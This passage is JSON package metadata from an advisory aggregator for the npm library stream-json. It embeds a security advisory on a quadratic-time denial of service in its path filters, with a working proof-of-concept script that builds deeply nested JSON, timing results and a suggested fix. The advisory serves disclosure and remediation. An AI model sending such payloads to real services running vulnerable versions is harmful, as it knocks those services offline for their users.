 3.6.0"}],"purl":"pkg:npm/stream-json"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tanc2LTRqajYtMzNoY84AB7qE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MjhoLXBjNjQtYzkzeM4ABp6n","url":"https://github.com/advisories/GHSA-528h-pc64-c93x","title":"stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)","description":"## Description\n\nThe path filters `pick`, `ignore`, `filter`, and `replace` — the library's headline \"surgical extraction\" feature — recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D²)**, not O(D).\n\nThis is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary \"traverse until the filter matches\" path — including the exact README flagship example `pick({filter: 'data'})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.\n\n### Affected code (v3.4.0)\n\n`src/core/filters/filter-base.js`:\n\n```js\n// L26-32 — string filter: rejoins the ENTIRE stack on every call\nconst stringFilter = (string, separator) =\u003e {\n  const stringWithSeparator = string + separator;\n  return stack =\u003e {\n    const path = stack.join(separator);              // O(depth) — every call\n    return path === string || path.startsWith(stringWithSeparator);\n  };\n};\n\n// L34-39 — regexp filter: same\nconst regExpFilter = (regExp, separator) =\u003e {\n  return stack =\u003e {\n    regExp.lastIndex = 0;\n    return regExp.test(stack.join(separator));       // O(depth) — every call\n  };\n};\n```\n\n```js\n// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state\nconst action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;\n```\n\n`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn't matched yet, `filter()` runs once per level and each call is O(depth) ⇒ **O(D²)** total.\n\n**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don't exhibit this. The issue is specific to `filter-base.js` recomputing the path string.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.4.0\nnode poc-quadratic-dos.mjs\n```\n\n```js\nimport parserStream from 'stream-json';\nimport { pick } from 'stream-json/filters/pick.js';\nimport chain from 'stream-chain';\n\nfunction run(D) {\n  const doc = '{\"meta\":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches \"data\"\n  return new Promise((resolve) =\u003e {\n    const t0 = process.hrtime.bigint();\n    const pipeline = chain([parserStream(), pick({ filter: 'data' })]);\n    pipeline.on('data', () =\u003e {});\n    pipeline.on('end', () =\u003e resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));\n    pipeline.write(doc); pipeline.end();\n  });\n}\nfor (const D of [5000, 10000, 20000, 40000]) {\n  const r = await run(D);\n  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);\n}\n```\n\nMeasured (Node v24, single core, clean `npm i stream-json@3.4.0`):\n\n```\nD=5000    bytes= 45001   ms=  160\nD=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -\u003e quadratic)\nD=20000   bytes=180001   ms= 2511   (4.2x)\nD=40000   bytes=360001   ms=11823   (4.7x)\n```\n\nA **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.\n\n## Impact\n\nRemote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.\n\n## Suggested fix\n\nMaintain the joined path incrementally instead of rejoining the whole stack per token:\n- On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length).\n- On end/pop: truncate the cached path back to the remembered length.\n- Filters test/`startsWith` against the cached string — O(1) amortized per token, making the whole traversal O(D).\n\nAlternatively expose/enforce a maximum nesting depth for the filter path check.\n\n## Resolution\n\nFixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-03T20:27:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x","https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6","https://github.com/advisories/GHSA-528h-pc64-c93x"],"source_kind":"github","identifiers":["GHSA-528h-pc64-c93x","CVE-2026-71429"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-03T21:00:08.347Z","updated_at":"2026-10-12T08:01:22.404Z","epss_percentage":0.0016,"epss_percentile":0.0454,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MjhoLXBjNjQtYzkzeM4ABp6n","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MjhoLXBjNjQtYzkzeM4ABp6n","packages":[{"ecosystem":"npm","package_name":"stream-json","versions":[{"first_patched_version":"3.5.0","vulnerable_version_range":"\u003c= 3.4.0"}],"purl":"pkg:npm/stream-json"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MjhoLXBjNjQtYzkzeM4ABp6n/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/stream-json","docker_dependents_count":265,"docker_downloads_count":22533178,"usage_url":"https://repos.ecosyste.ms/usage/npm/stream-json","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/stream-json/dependencies","status":null,"funding_links":["https://github.com/sponsors/uhop","https://buymeacoffee.com/uhop"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-18T00:30:48.461Z","issues_count":110,"pull_requests_count":55,"avg_time_to_close_issue":7612808.267326733,"avg_time_to_close_pull_request":2753707.6511627906,"issues_closed_count":101,"pull_requests_closed_count":43,"pull_request_authors_count":16,"issue_authors_count":100,"avg_comments_per_issue":3.7,"avg_comments_per_pull_request":0.6363636363636364,"merged_pull_requests_count":18,"bot_issues_count":0,"bot_pull_requests_count":37,"past_year_issues_count":3,"past_year_pull_requests_count":22,"past_year_avg_time_to_close_issue":861480.3333333334,"past_year_avg_time_to_close_pull_request":484019.4736842105,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":19,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":3,"past_year_avg_comments_per_issue":3.0,"past_year_avg_comments_per_pull_request":0.45454545454545453,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":20,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/issues","maintainers":[{"login":"uhop","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/uhop"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/stream-json/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/stream-json/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/stream-json/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/stream-json/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/stream-json/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/stream-json/codemeta","maintainers":[{"uuid":"elazutkin","login":"elazutkin","name":null,"email":"eugene.lazutkin@gmail.com","url":null,"packages_count":62,"html_url":"https://www.npmjs.com/~elazutkin","role":null,"created_at":"2022-11-14T14:22:21.482Z","updated_at":"2022-11-14T14:22:21.482Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/elazutkin/packages"}]}